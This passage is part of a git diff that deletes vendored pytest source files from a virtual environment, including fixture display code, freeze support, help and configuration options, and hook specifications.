warnings.warn(PARSEFACTORIES_NODEID_DEPRECATED, stacklevel=2) - holderobj = node_or_obj - effective_nodeid = nodeid - else: - # parsefactories(node) - node has .obj attribute - assert isinstance(node_or_obj, nodes.Node) - holderobj = cast(object, node_or_obj.obj) # type: ignore[attr-defined] - effective_node = node_or_obj - - # Avoid accessing `@property` (and other descriptors) when iterating fixtures. - if not safe_isclass(holderobj) and not isinstance(holderobj, types.ModuleType): - holderobj_tp: object = type(holderobj) - else: - holderobj_tp = holderobj - - for name in dir(holderobj): - # The attribute can be an arbitrary descriptor, so the attribute - # access below can raise. safe_getattr() ignores such exceptions. - obj_ub = safe_getattr(holderobj_tp, name, None) - if type(obj_ub) is FixtureFunctionDefinition: - marker = obj_ub._fixture_function_marker - if marker.name: - fixture_name = marker.name - else: - fixture_name = name - - # OK we know it is a fixture -- now safe to look up on the _instance_. - try: - obj = getattr(holderobj, name) - # if the fixture is named in the decorator we cannot find it in the module - except AttributeError: - obj = obj_ub - - func = obj._get_wrapped_function() - - self._register_fixture( - name=fixture_name, - func=func, - scope=marker.scope, - params=marker.params, - ids=marker.ids, - autouse=marker.autouse, - node=effective_node, - nodeid=effective_nodeid, - ) - - def getfixturedefs( - self, argname: str, node: nodes.Node - ) -> Sequence[FixtureDef[Any]] | None: - """Get FixtureDefs for a fixture name which are applicable - to a given node. - - Returns None if there are no fixtures at all defined with the given - name. (This is different from the case in which there are fixtures - with the given name, but none applicable to the node. In this case, - an empty result is returned). - - :param argname: Name of the fixture to search for. - :param node: The requesting Node. - """ - try: - fixturedefs = self._arg2fixturedefs[argname] - except KeyError: - return None - return tuple(self._matchfactories(fixturedefs, node)) - - def _matchfactories( - self, fixturedefs: Iterable[FixtureDef[Any]], node: nodes.Node - ) -> Iterator[FixtureDef[Any]]: - # Collect parent nodes and their IDs for matching - parent_nodes = set(node.iter_parents()) - parentnodeids = {n.nodeid for n in parent_nodes} - - for fixturedef in fixturedefs: - if fixturedef.node is not None: - # Node-based matching: check if fixture's node is a parent - if fixturedef.node in parent_nodes: - yield fixturedef - elif fixturedef.baseid in parentnodeids: - # Fallback to string-based matching for legacy/plugins - yield fixturedef - - -def show_fixtures_per_test(config: Config) -> int | ExitCode: - from _pytest.main import wrap_session - - return wrap_session(config, _show_fixtures_per_test) - - -_PYTEST_DIR = Path(_pytest.__file__).parent - - -def _pretty_fixture_path(invocation_dir: Path, func) -> str: - loc = Path(getlocation(func, invocation_dir)) - prefix = Path("...", "_pytest") - try: - return str(prefix / loc.relative_to(_PYTEST_DIR)) - except ValueError: - return bestrelpath(invocation_dir, loc) - - -def _get_fixtures_per_test(test: nodes.Item) -> Iterator[FixtureDef[object]]: - """Returns all fixtures used by the test item except for those created by - direct parametrization and those requested dynamically with - ``request.getfixturevalue``. - - The justification for excluding fixtures created by direct parametrization - is that for users, they are internal implementation detail. - - Dynamically requested fixtures are excluded because they are not known - statically. - """ - from _pytest.python import DirectParamFixtureDef - - # Custom Items may not have _fixtureinfo attribute. - fixture_info: FuncFixtureInfo | None = getattr(test, "_fixtureinfo", None) - if fixture_info is None: - return # pragma: no cover - - # dict key not used in loop but needed for sorting. - for argname, fixturedefs in sorted(fixture_info.name2fixturedefs.items()): - if not fixturedefs: - # Not supposed to be empty, but for safety. - continue # pragma: no cover - # Last item is expected to be the one directly used by the test item. - fixturedef = fixturedefs[-1] - if isinstance(fixturedef, DirectParamFixtureDef): - continue - yield fixturedef - - -def _show_fixtures_per_test(config: Config, session: Session) -> None: - import _pytest.config - - session.perform_collect() - invocation_dir = config.invocation_params.dir - tw = _pytest.config.create_terminal_writer(config) - verbose = config.get_verbosity() - - def get_best_relpath(func) -> str: - loc = getlocation(func, invocation_dir) - return bestrelpath(invocation_dir, Path(loc)) - - def write_fixture(fixture_def: FixtureDef[object]) -> None: - argname = fixture_def.argname - if verbose <= 0 and argname.startswith("_"): - return - prettypath = _pretty_fixture_path(invocation_dir, fixture_def.func) - tw.write(f"{argname}", green=True) - tw.write(f" -- {prettypath}", yellow=True) - tw.write("\n") - fixture_doc = inspect.getdoc(fixture_def.func) - if fixture_doc: - write_docstring( - tw, - fixture_doc.split("\n\n", maxsplit=1)[0] - if verbose <= 0 - else fixture_doc, - ) - else: - tw.line(" no docstring available", red=True) - - def write_item(item: nodes.Item) -> None: - fixturedefs = list(_get_fixtures_per_test(item)) - if not fixturedefs: - # This test item does not use any fixtures. - return - - tw.line() - tw.sep("-", f"fixtures used by {item.name}") - # TODO: Fix this type ignore. - tw.sep("-", f"({get_best_relpath(item.function)})") # type: ignore[attr-defined] - - for fixturedef in fixturedefs: - write_fixture(fixturedef) - - for session_item in session.items: - write_item(session_item) - - -def showfixtures(config: Config) -> int | ExitCode: - from _pytest.main import wrap_session - - return wrap_session(config, _showfixtures_main) - - -def _showfixtures_main(config: Config, session: Session) -> None: - import _pytest.config - - session.perform_collect() - invocation_dir = config.invocation_params.dir - tw = _pytest.config.create_terminal_writer(config) - verbose = config.get_verbosity() - - fm = session._fixturemanager - - available = [] - seen: set[tuple[str, str]] = set() - - for argname, fixturedefs in fm._arg2fixturedefs.items(): - assert fixturedefs is not None - if not fixturedefs: - continue - for fixturedef in fixturedefs: - loc = getlocation(fixturedef.func, invocation_dir) - if (fixturedef.argname, loc) in seen: - continue - seen.add((fixturedef.argname, loc)) - available.append( - ( - len(fixturedef.baseid), - fixturedef.func.__module__, - _pretty_fixture_path(invocation_dir, fixturedef.func), - fixturedef.argname, - fixturedef, - ) - ) - - available.sort() - currentmodule = None - for baseid, module, prettypath, argname, fixturedef in available: - if currentmodule != module: - if not module.startswith("_pytest."): - tw.line() - tw.sep("-", f"fixtures defined from {module}") - currentmodule = module - if verbose <= 0 and argname.startswith("_"): - continue - tw.write(f"{argname}", green=True) - if fixturedef.scope != "function": - tw.write(f" [{fixturedef.scope} scope]", cyan=True) - tw.write(f" -- {prettypath}", yellow=True) - tw.write("\n") - doc = inspect.getdoc(fixturedef.func) - if doc: - write_docstring( - tw, doc.split("\n\n", maxsplit=1)[0] if verbose <= 0 else doc - ) - else: - tw.line(" no docstring available", red=True) - tw.line() - - -def write_docstring(tw: TerminalWriter, doc: str, indent: str = " ") -> None: - for line in doc.split("\n"): - tw.line(indent + line) - - -def register_fixture( - *, - name: str, - func: _FixtureFunc[object], - node: nodes.Node, - scope: ScopeName | Callable[[str, Config], ScopeName] = "function", - params: Sequence[object] | None = None, - ids: tuple[object | None, ...] | Callable[[Any], object | None] | None = None, - autouse: bool = False, -) -> None: - """Register a fixture imperatively. - - This is an advanced function intended for use by plugins. - - Normally, fixtures should be registered declaratively using the - :func:`@pytest.fixture ` decorator. Pytest looks for these - fixture definitions during the collection phase and registers them - automatically. For some plugin usecases the declarative interface can be - cumbersome or nonviable, in which case the imperative interface can be used. - - Fixture registration is expected to happen during the collection phase, and - this is the only sanctioned use. However, to allow for more creative uses, - this is not enforced. But do so at your own risk! - - .. versionadded: 9.1 - - :param name: - The fixture's name. - :param func: - The fixture's implementation function. - :param node: - The visibility of the fixture. - - Only items that are descendents of this node in the collection tree will - be able to request this fixture. You can think of this as the place - where you would put the `@pytest.fixture`. - - For global visibility, pass the :class:`session ` node, - which is the root of the collection tree. - :param scope: - The fixture's scope. - :param params: - The fixture's parametrization params. - :param ids: - The fixture's IDs. - :param autouse: - Whether this is an autouse fixture. - """ - node.session._fixturemanager._register_fixture( - name=name, - func=func, - node=node, - scope=scope, - params=params, - ids=ids, - autouse=autouse, - ) diff --git a/venv/Lib/site-packages/_pytest/freeze_support.py b/venv/Lib/site-packages/_pytest/freeze_support.py deleted file mode 100644 index 959ff071d86be285aecf76a1c49c1e5de27c5cd2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/freeze_support.py +++ /dev/null @@ -1,45 +0,0 @@ -"""Provides a function to report all internal modules for using freezing -tools.""" - -from __future__ import annotations - -from collections.abc import Iterator -import types - - -def freeze_includes() -> list[str]: - """Return a list of module names used by pytest that should be - included by cx_freeze.""" - import _pytest - - result = list(_iter_all_modules(_pytest)) - return result - - -def _iter_all_modules( - package: str | types.ModuleType, - prefix: str = "", -) -> Iterator[str]: - """Iterate over the names of all modules that can be found in the given - package, recursively. - - >>> import _pytest - >>> list(_iter_all_modules(_pytest)) - ['_pytest._argcomplete', '_pytest._code.code', ...] - """ - import os - import pkgutil - - if isinstance(package, str): - path = package - else: - # Type ignored because typeshed doesn't define ModuleType.__path__ - # (only defined on packages). - package_path = package.__path__ - path, prefix = package_path[0], package.__name__ + "." - for _, name, is_package in pkgutil.iter_modules([path]): - if is_package: - for m in _iter_all_modules(os.path.join(path, name), prefix=name + "."): - yield prefix + m - else: - yield prefix + name diff --git a/venv/Lib/site-packages/_pytest/helpconfig.py b/venv/Lib/site-packages/_pytest/helpconfig.py deleted file mode 100644 index fdba02b35f489ddb65d159d1ebd01cc9d9bd3911..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/helpconfig.py +++ /dev/null @@ -1,293 +0,0 @@ -# mypy: allow-untyped-defs -"""Version info, help messages, tracing configuration.""" - -from __future__ import annotations - -import argparse -from collections.abc import Generator -from collections.abc import Sequence -import os -import sys -from typing import Any - -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config import PrintHelp -from _pytest.config.argparsing import Parser -from _pytest.terminal import TerminalReporter -import pytest - - -class HelpAction(argparse.Action): - """An argparse Action that will raise a PrintHelp exception in order to skip - the rest of the argument parsing when --help is passed. - - This prevents argparse from raising UsageError when `--help` is used along - with missing required arguments when any are defined, for example by - ``pytest_addoption``. This is similar to the way that the builtin argparse - --help option is implemented by raising SystemExit. - - To opt in to this behavior, the parse caller must set - `namespace._raise_print_help = True`. Otherwise it just sets the option. - """ - - def __init__( - self, option_strings: Sequence[str], dest: str, *, help: str | None = None - ) -> None: - super().__init__( - option_strings=option_strings, - dest=dest, - nargs=0, - const=True, - default=False, - help=help, - ) - - def __call__( - self, - parser: argparse.ArgumentParser, - namespace: argparse.Namespace, - values: str | Sequence[Any] | None, - option_string: str | None = None, - ) -> None: - setattr(namespace, self.dest, self.const) - - if getattr(namespace, "_raise_print_help", False): - raise PrintHelp - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("debugconfig") - group.addoption( - "-V", - "--version", - action="count", - default=0, - dest="version", - help="Display pytest version and information about plugins. " - "When given twice, also display information about plugins.", - ) - group._addoption( # private to use reserved lower-case short option - "-h", - "--help", - action=HelpAction, - dest="help", - help="Show help message and configuration info", - ) - group._addoption( # private to use reserved lower-case short option - "-p", - action="append", - dest="plugins", - default=[], - metavar="name", - help="Early-load given plugin module name or entry point (multi-allowed). " - "To avoid loading of plugins, use the `no:` prefix, e.g. " - "`no:doctest`. See also --disable-plugin-autoload.", - ) - group.addoption( - "--disable-plugin-autoload", - action="store_true", - default=False, - help="Disable plugin auto-loading through entry point packaging metadata. " - "Only plugins explicitly specified in -p or env var PYTEST_PLUGINS will be loaded.", - ) - group.addoption( - "--traceconfig", - "--trace-config", - action="store_true", - default=False, - help="Trace considerations of conftest.py files", - ) - group.addoption( - "--debug", - action="store", - nargs="?", - const="pytestdebug.log", - dest="debug", - metavar="DEBUG_FILE_NAME", - help="Store internal tracing debug information in this log file. " - "This file is opened with 'w' and truncated as a result, care advised. " - "Default: pytestdebug.log.", - ) - group._addoption( # private to use reserved lower-case short option - "-o", - "--override-ini", - dest="override_ini", - action="append", - help='Override configuration option with "option=value" style, ' - "e.g. `-o strict_xfail=True -o cache_dir=cache`.", - ) - - -@pytest.hookimpl(wrapper=True) -def pytest_cmdline_parse() -> Generator[None, Config, Config]: - config = yield - - if config.option.debug: - # --debug | --debug was provided. - path = config.option.debug - debugfile = open(path, "w", encoding="utf-8") - debugfile.write( - "versions pytest-{}, " - "python-{}\ninvocation_dir={}\ncwd={}\nargs={}\n\n".format( - pytest.__version__, - ".".join(map(str, sys.version_info)), - config.invocation_params.dir, - os.getcwd(), - config.invocation_params.args, - ) - ) - config.trace.root.setwriter(debugfile.write) - undo_tracing = config.pluginmanager.enable_tracing() - sys.stderr.write(f"writing pytest debug information to {path}\n") - - def unset_tracing() -> None: - debugfile.close() - sys.stderr.write(f"wrote pytest debug information to {debugfile.name}\n") - config.trace.root.setwriter(None) - undo_tracing() - - config.add_cleanup(unset_tracing) - - return config - - -def show_version_verbose(config: Config) -> None: - """Show verbose pytest version installation, including plugins.""" - sys.stdout.write( - f"This is pytest version {pytest.__version__}, imported from {pytest.__file__}\n" - ) - plugininfo = getpluginversioninfo(config) - if plugininfo: - for line in plugininfo: - sys.stdout.write(line + "\n") - - -def pytest_cmdline_main(config: Config) -> int | ExitCode | None: - # Note: a single `--version` argument is handled directly by `Config.main()` to avoid starting up the entire - # pytest infrastructure just to display the version (#13574). - if config.option.version > 1: - show_version_verbose(config) - return ExitCode.OK - elif config.option.help: - config._do_configure() - showhelp(config) - config._ensure_unconfigure() - return ExitCode.OK - return None - - -def showhelp(config: Config) -> None: - import textwrap - - reporter: TerminalReporter | None = config.pluginmanager.get_plugin( - "terminalreporter" - ) - assert reporter is not None - tw = reporter._tw - tw.write(config._parser.optparser.format_help()) - tw.line() - tw.line( - "[pytest] configuration options in the first " - "pytest.toml|pytest.ini|tox.ini|setup.cfg|pyproject.toml file found:" - ) - tw.line() - - columns = tw.fullwidth # costly call - indent_len = 24 # based on argparse's max_help_position=24 - indent = " " * indent_len - for name in config._parser._inidict: - help, type, _default = config._parser._inidict[name] - if help is None: - raise TypeError(f"help argument cannot be None for {name}") - spec = f"{name} ({type}):" - tw.write(f" {spec}") - spec_len = len(spec) - if spec_len > (indent_len - 3): - # Display help starting at a new line. - tw.line() - helplines = textwrap.wrap( - help, - columns, - initial_indent=indent, - subsequent_indent=indent, - break_on_hyphens=False, - ) - - for line in helplines: - tw.line(line) - else: - # Display help starting after the spec, following lines indented. - tw.write(" " * (indent_len - spec_len - 2)) - wrapped = textwrap.wrap(help, columns - indent_len, break_on_hyphens=False) - - if wrapped: - tw.line(wrapped[0]) - for line in wrapped[1:]: - tw.line(indent + line) - - tw.line() - tw.line("Environment variables:") - vars = [ - ( - "CI", - "When set to a non-empty value, pytest knows it is running in a " - "CI process and does not truncate summary info", - ), - ("BUILD_NUMBER", "Equivalent to CI"), - ("PYTEST_ADDOPTS", "Extra command line options"), - ("PYTEST_PLUGINS", "Comma-separated plugins to load during startup"), - ("PYTEST_DISABLE_PLUGIN_AUTOLOAD", "Set to disable plugin auto-loading"), - ("PYTEST_DEBUG", "Set to enable debug tracing of pytest's internals"), - ("PYTEST_DEBUG_TEMPROOT", "Override the system temporary directory"), - ("PYTEST_THEME", "The Pygments style to use for code output"), - ("PYTEST_THEME_MODE", "Set the PYTEST_THEME to be either 'dark' or 'light'"), - ] - for name, help in vars: - tw.line(f" {name:<24} {help}") - tw.line() - tw.line() - - tw.line("to see available markers type: pytest --markers") - tw.line("to see available fixtures type: pytest --fixtures") - tw.line( - "(shown according to specified file_or_dir or current dir " - "if not specified; fixtures with leading '_' are only shown " - "with the '-v' option" - ) - - for warningreport in reporter.stats.get("warnings", []): - tw.line("warning : " + warningreport.message, red=True) - - -def getpluginversioninfo(config: Config) -> list[str]: - lines = [] - plugininfo = config.pluginmanager.list_plugin_distinfo() - if plugininfo: - lines.append("registered third-party plugins:") - for plugin, dist in plugininfo: - loc = getattr(plugin, "__file__", repr(plugin)) - content = f"{dist.project_name}-{dist.version} at {loc}" - lines.append(" " + content) - return lines - - -def pytest_report_header(config: Config) -> list[str]: - lines = [] - if config.option.debug or config.option.traceconfig: - lines.append(f"using: pytest-{pytest.__version__}") - - verinfo = getpluginversioninfo(config) - if verinfo: - lines.extend(verinfo) - - if config.option.traceconfig: - lines.append("active plugins:") - items = config.pluginmanager.list_name_plugin() - for name, plugin in items: - if hasattr(plugin, "__file__"): - r = plugin.__file__ - else: - r = repr(plugin) - lines.append(f" {name:<20}: {r}") - return lines diff --git a/venv/Lib/site-packages/_pytest/hookspec.py b/venv/Lib/site-packages/_pytest/hookspec.py deleted file mode 100644 index 6c5dd4b7c4aae7c64b2170a85cbfb8b3b3a5b6d0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/hookspec.py +++ /dev/null @@ -1,1289 +0,0 @@ -# mypy: allow-untyped-defs -# ruff: noqa: T100 -"""Hook specifications for pytest plugins which are invoked by pytest itself -and by builtin plugins.""" - -from __future__ import annotations - -from collections.abc import Mapping -from collections.abc import Sequence -from pathlib import Path -from typing import Any -from typing import TYPE_CHECKING - -from pluggy import HookspecMarker - - -if TYPE_CHECKING: - import pdb - from typing import Literal - import warnings - - from _pytest._code.code import ExceptionInfo - from _pytest._code.code import ExceptionRepr - from _pytest.config import _PluggyPlugin - from _pytest.config import Config - from _pytest.config import ExitCode - from _pytest.config import PytestPluginManager - from _pytest.config.argparsing import Parser - from _pytest.fixtures import FixtureDef - from _pytest.fixtures import SubRequest - from _pytest.main import Session - from _pytest.nodes import Collector - from _pytest.nodes import Item - from _pytest.outcomes import Exit - from _pytest.python import Class - from _pytest.python import Function - from _pytest.python import Metafunc - from _pytest.python import Module - from _pytest.reports import CollectReport - from _pytest.reports import TestReport - from _pytest.runner import CallInfo - from _pytest.terminal import TerminalReporter - from _pytest.terminal import TestShortLogReport - - -hookspec = HookspecMarker("pytest") - -# ------------------------------------------------------------------------- -# Initialization hooks called for every plugin -# ------------------------------------------------------------------------- - - -@hookspec(historic=True) -def pytest_addhooks(pluginmanager: PytestPluginManager) -> None: - """Called at plugin registration time to allow adding new hooks via a call to - :func:`pluginmanager.add_hookspecs(module_or_class, prefix) `. - - :param pluginmanager: The pytest plugin manager. - - .. note:: - This hook is incompatible with hook wrappers. - - Use in conftest plugins - ======================= - - If a conftest plugin implements this hook, it will be called immediately - when the conftest is registered. - """ - - -@hookspec(historic=True) -def pytest_plugin_registered( - plugin: _PluggyPlugin, - plugin_name: str, - manager: PytestPluginManager, -) -> None: - """A new pytest plugin got registered. - - :param plugin: The plugin module or instance. - :param plugin_name: The name by which the plugin is registered. - :param manager: The pytest plugin manager. - - .. note:: - This hook is incompatible with hook wrappers. - - Use in conftest plugins - ======================= - - If a conftest plugin implements this hook, it will be called immediately - when the conftest is registered, once for each plugin registered thus far - (including itself!), and for all plugins thereafter when they are - registered. - """ - - -@hookspec(historic=True) -def pytest_addoption(parser: Parser, pluginmanager: PytestPluginManager) -> None: - """Register argparse-style options and config-style config values, - called once at the beginning of a test run. - - :param parser: - To add command line options, call - :py:func:`parser.addoption(...) `. - To add config-file values call :py:func:`parser.addini(...) - `. - - :param pluginmanager: - The pytest plugin manager, which can be used to install :py:func:`~pytest.hookspec`'s - or :py:func:`~pytest.hookimpl`'s and allow one plugin to call another plugin's hooks - to change how command line options are added. - - Options can later be accessed through the - :py:class:`config ` object, respectively: - - - :py:func:`config.getoption(name) ` to - retrieve the value of a command line option. - - - :py:func:`config.getini(name) ` to retrieve - a value read from a configuration file. - - The config object is passed around on many internal objects via the ``.config`` - attribute or can be retrieved as the ``pytestconfig`` fixture. - - .. note:: - This hook is incompatible with hook wrappers. - - Use in conftest plugins - ======================= - - If a conftest plugin implements this hook, it will be called immediately - when the conftest is registered. - - This hook is only called for :ref:`initial conftests `. - """ - - -@hookspec(historic=True) -def pytest_configure(config: Config) -> None: - """Allow plugins and conftest files to perform initial configuration. - - .. note:: - This hook is incompatible with hook wrappers. - - :param config: The pytest config object. - - Use in conftest plugins - ======================= - - This hook is called for every :ref:`initial conftest ` file - after command line options have been parsed. After that, the hook is called - for other conftest files as they are registered. - """ - - -# ------------------------------------------------------------------------- -# Bootstrapping hooks called for plugins registered early enough: -# internal and 3rd party plugins. -# ------------------------------------------------------------------------- - - -@hookspec(firstresult=True) -def pytest_cmdline_parse( - pluginmanager: PytestPluginManager, args: list[str] -) -> Config | None: - """Return an initialized :class:`~pytest.Config`, parsing the specified args. - - Stops at first non-None result, see :ref:`firstresult`. - - .. note:: - This hook is only called for plugin classes passed to the - ``plugins`` arg when using `pytest.main`_ to perform an in-process - test run. - - :param pluginmanager: The pytest plugin manager. - :param args: List of arguments passed on the command line. - :returns: A pytest config object. - - Use in conftest plugins - ======================= - - This hook is not called for conftest files. - """ - - -def pytest_load_initial_conftests( - early_config: Config, parser: Parser, args: list[str] -) -> None: - """Called to implement the loading of :ref:`initial conftest files - ` ahead of command line option parsing. - - :param early_config: The pytest config object. - :param args: Arguments passed on the command line. - :param parser: To add command line options. - - Use in conftest plugins - ======================= - - This hook is not called for conftest files. - """ - - -@hookspec(firstresult=True) -def pytest_cmdline_main(config: Config) -> ExitCode | int | None: - """Called for performing the main command line action. - - The default implementation will invoke the configure hooks and - :hook:`pytest_runtestloop`. - - Stops at first non-None result, see :ref:`firstresult`. - - :param config: The pytest config object. - :returns: The exit code. - - Use in conftest plugins - ======================= - - This hook is only called for :ref:`initial conftests `. - """ - - -# ------------------------------------------------------------------------- -# collection hooks -# ------------------------------------------------------------------------- - - -@hookspec(firstresult=True) -def pytest_collection(session: Session) -> object | None: - """Perform the collection phase for the given session. - - Stops at first non-None result, see :ref:`firstresult`. - The return value is not used, but only stops further processing. - - The default collection phase is this (see individual hooks for full details): - - 1. Starting from ``session`` as the initial collector: - - 1. ``pytest_collectstart(collector)`` - 2. ``report = pytest_make_collect_report(collector)`` - 3. ``pytest_exception_interact(collector, call, report)`` if an interactive exception occurred - 4. For each collected node: - - 1. If an item, ``pytest_itemcollected(item)`` - 2. If a collector, recurse into it. - - 5. ``pytest_collectreport(report)`` - - 2. ``pytest_collection_modifyitems(session, config, items)`` - - 1. ``pytest_deselected(items)`` for any deselected items (may be called multiple times) - - 3. Set ``session.items`` to the list of collected items - 4. ``pytest_collection_finish(session)`` - 5. Set ``session.testscollected`` to the number of collected items - - You can implement this hook to only perform some action before collection, - for example the terminal plugin uses it to start displaying the collection - counter (and returns `None`). - - :param session: The pytest session object. - - Use in conftest plugins - ======================= - - This hook is only called for :ref:`initial conftests `. - """ - - -def pytest_collection_modifyitems( - session: Session, config: Config, items: list[Item] -) -> None: - """Called after collection has been performed. May filter or re-order - the items in-place. - - When items are deselected (filtered out from ``items``), - the hook :hook:`pytest_deselected` must be called explicitly - with the deselected items to properly notify other plugins, - e.g. with ``config.hook.pytest_deselected(items=deselected_items)``. - - :param session: The pytest session object. - :param config: The pytest config object. - :param items: List of item objects. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -def pytest_collection_finish(session: Session) -> None: - """Called after collection has been performed and modified. - - :param session: The pytest session object. - - Use in conftest plugins - ======================= - - Any conftest plugin can implement this hook. - """ - - -@hookspec(firstresult=True) -def pytest_ignore_collect(collection_path: Path, config: Config) -> bool | None: - """Return ``True`` to ignore this path for collection. - - Return ``None`` to let other plugins ignore the path for collection. - - Returning ``False`` will forcefully *not* ignore this path for collection, - without giving a chance for other plugins to ignore this path. - - This hook is consulted for all files and directories prior to calling - more specific hooks. - - Stops at first non-None result, see :ref:`firstresult`. - - :param collection_path: The path to analyze. - :type collection_path: pathlib.Path - :param config: The pytest config object. - - .. versionchanged:: 7.0.0 - The ``collection_path`` parameter was added as a :class:`pathlib.Path` - equivalent of the ``path`` parameter. The ``path`` parameter - has been deprecated and removed in pytest 9.0.0. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given collection path, only - conftest files in parent directories of the collection path are consulted - (if the path is a directory, its own conftest file is *not* consulted - a - directory cannot ignore itself!). - """ - - -@hookspec(firstresult=True) -def pytest_collect_directory(path: Path, parent: Collector) -> Collector | None: - """Create a :class:`~pytest.Collector` for the given directory, or None if - not relevant. - - .. versionadded:: 8.0 - - For best results, the returned collector should be a subclass of - :class:`~pytest.Directory`, but this is not required. - - The new node needs to have the specified ``parent`` as a parent. - - Stops at first non-None result, see :ref:`firstresult`. - - :param path: The path to analyze. - :type path: pathlib.Path - - See :ref:`custom directory collectors` for a simple example of use of this - hook. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given collection path, only - conftest files in parent directories of the collection path are consulted - (if the path is a directory, its own conftest file is *not* consulted - a - directory cannot collect itself!). - """ - - -def pytest_collect_file(file_path: Path, parent: Collector) -> Collector | None: - """Create a :class:`~pytest.Collector` for the given path, or None if not relevant. - - For best results, the returned collector should be a subclass of - :class:`~pytest.File`, but this is not required. - - The new node needs to have the specified ``parent`` as a parent. - - :param file_path: The path to analyze. - :type file_path: pathlib.Path - - .. versionchanged:: 7.0.0 - The ``file_path`` parameter was added as a :class:`pathlib.Path` - equivalent of the ``path`` parameter. The ``path`` parameter - has been deprecated and removed in pytest 9.0.0. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given file path, only - conftest files in parent directories of the file path are consulted. - """ - - -# logging hooks for collection - - -def pytest_collectstart(collector: Collector) -> None: - """Collector starts collecting. - - :param collector: - The collector. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given collector, only - conftest files in the collector's directory and its parent directories are - consulted. - """ - - -def pytest_itemcollected(item: Item) -> None: - """We just collected a test item. - - :param item: - The item. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only conftest - files in the item's directory and its parent directories are consulted. - """ - - -def pytest_collectreport(report: CollectReport) -> None: - """Collector finished collecting. - - :param report: - The collect report. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given collector, only - conftest files in the collector's directory and its parent directories are - consulted. - """ - - -def pytest_deselected(items: Sequence[Item]) -> None: - """Called for deselected test items, e.g. by keyword. - - Note that this hook has two integration aspects for plugins: - - - it can be *implemented* to be notified of deselected items - - it must be *called* from :hook:`pytest_collection_modifyitems` - implementations when items are deselected (to properly notify other plugins). - - May be called multiple times. - - :param items: - The items. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. - """ - - -@hookspec(firstresult=True) -def pytest_make_collect_report(collector: Collector) -> CollectReport | None: - """Perform :func:`collector.collect() ` and return - a :class:`~pytest.CollectReport`. - - Stops at first non-None result, see :ref:`firstresult`. - - :param collector: - The collector. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given collector, only - conftest files in the collector's directory and its parent directories are - consulted. - """ - - -# ------------------------------------------------------------------------- -# Python test function related hooks -# ------------------------------------------------------------------------- - - -@hookspec(firstresult=True) -def pytest_pycollect_makemodule(module_path: Path, parent) -> Module | None: - """Return a :class:`pytest.Module` collector or None for the given path. - - This hook will be called for each matching test module path. - The :hook:`pytest_collect_file` hook needs to be used if you want to - create test modules for files that do not match as a test module. - - Stops at first non-None result, see :ref:`firstresult`. - - :param module_path: The path of the module to collect. - :type module_path: pathlib.Path - - .. versionchanged:: 7.0.0 - The ``module_path`` parameter was added as a :class:`pathlib.Path` - equivalent of the ``path`` parameter. The ``path`` parameter has been - deprecated in favor of ``module_path`` and removed in pytest 9.0.0. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given parent collector, - only conftest files in the collector's directory and its parent directories - are consulted. - """ - - -@hookspec(firstresult=True) -def pytest_pycollect_makeitem( - collector: Module | Class, name: str, obj: object -) -> None | Item | Collector | list[Item | Collector]: - """Return a custom item/collector for a Python object in a module, or None. - - Stops at first non-None result, see :ref:`firstresult`. - - :param collector: - The module/class collector. - :param name: - The name of the object in the module/class. - :param obj: - The object. - :returns: - The created items/collectors. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given collector, only - conftest files in the collector's directory and its parent directories - are consulted. - """ - - -@hookspec(firstresult=True) -def pytest_pyfunc_call(pyfuncitem: Function) -> object | None: - """Call underlying test function. - - Stops at first non-None result, see :ref:`firstresult`. - - :param pyfuncitem: - The function item. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given item, only - conftest files in the item's directory and its parent directories - are consulted. - """ - - -def pytest_generate_tests(metafunc: Metafunc) -> None: - """Generate (multiple) parametrized calls to a test function. - - :param metafunc: - The :class:`~pytest.Metafunc` helper for the test function. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. For a given function definition, - only conftest files in the functions's directory and its parent directories - are consulted. - """ - - -@hookspec(firstresult=True) -def pytest_make_parametrize_id(config: Config, val: object, argname: str) -> str | None: - """Return a user-friendly string representation of the given ``val`` - that will be used by @pytest.mark.parametrize calls, or None if the hook - doesn't know about ``val``. - - The parameter name is available as ``argname``, if required. - - Stops at first non-None result, see :ref:`firstresult`. - - :param config: The pytest config object. - :param val: The parametrized value. - :param argname: The automatic parameter name produced by pytest. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. - """ - - -# ------------------------------------------------------------------------- -# runtest related hooks -# ------------------------------------------------------------------------- - - -@hookspec(firstresult=True) -def pytest_runtestloop(session: Session) -> object | None: - """Perform the main runtest loop (after collection finished). - - The default hook implementation performs the runtest protocol for all items - collected in the session (``session.items``), unless the collection failed - or the ``collectonly`` pytest option is set. - - If at any point :py:func:`pytest.exit` is called, the loop is - terminated immediately. - - If at any point ``session.shouldfail`` or ``session.shouldstop`` are set, the - loop is terminated after the runtest protocol for the current item is finished. - - :param session: The pytest session object. - - Stops at first non-None result, see :ref:`firstresult`. - The return value is not used, but only stops further processing. - - Use in conftest plugins - ======================= - - Any conftest file can implement this hook. - """ - - -@hookspec(firstresult=True) -def pytest_runtest_protocol(item: Item, nextitem: Item | None) -> object | None: - """Perform the runtest protocol for a single test item. - - The default runtest protocol is this (see individual hooks for full details): - - - ``pytest_runtest_logstart(nodeid, location)`` - - - Setup phase: - - ``call = pytest_runtest_setup(item)`` (wrapped in ``CallInfo(when="setup")``) - - ``report = pytest_runtest_makereport(item, call)`` - - ``pytest_runtest_logreport(report)`` - - ``pytest_exception_interact(call, report)`` if an interactive exception occurred - - - Call phase, if the setup passed and the ``setuponly`` pytest option is not set: - - ``call = pytest_runtest_call(item)`` 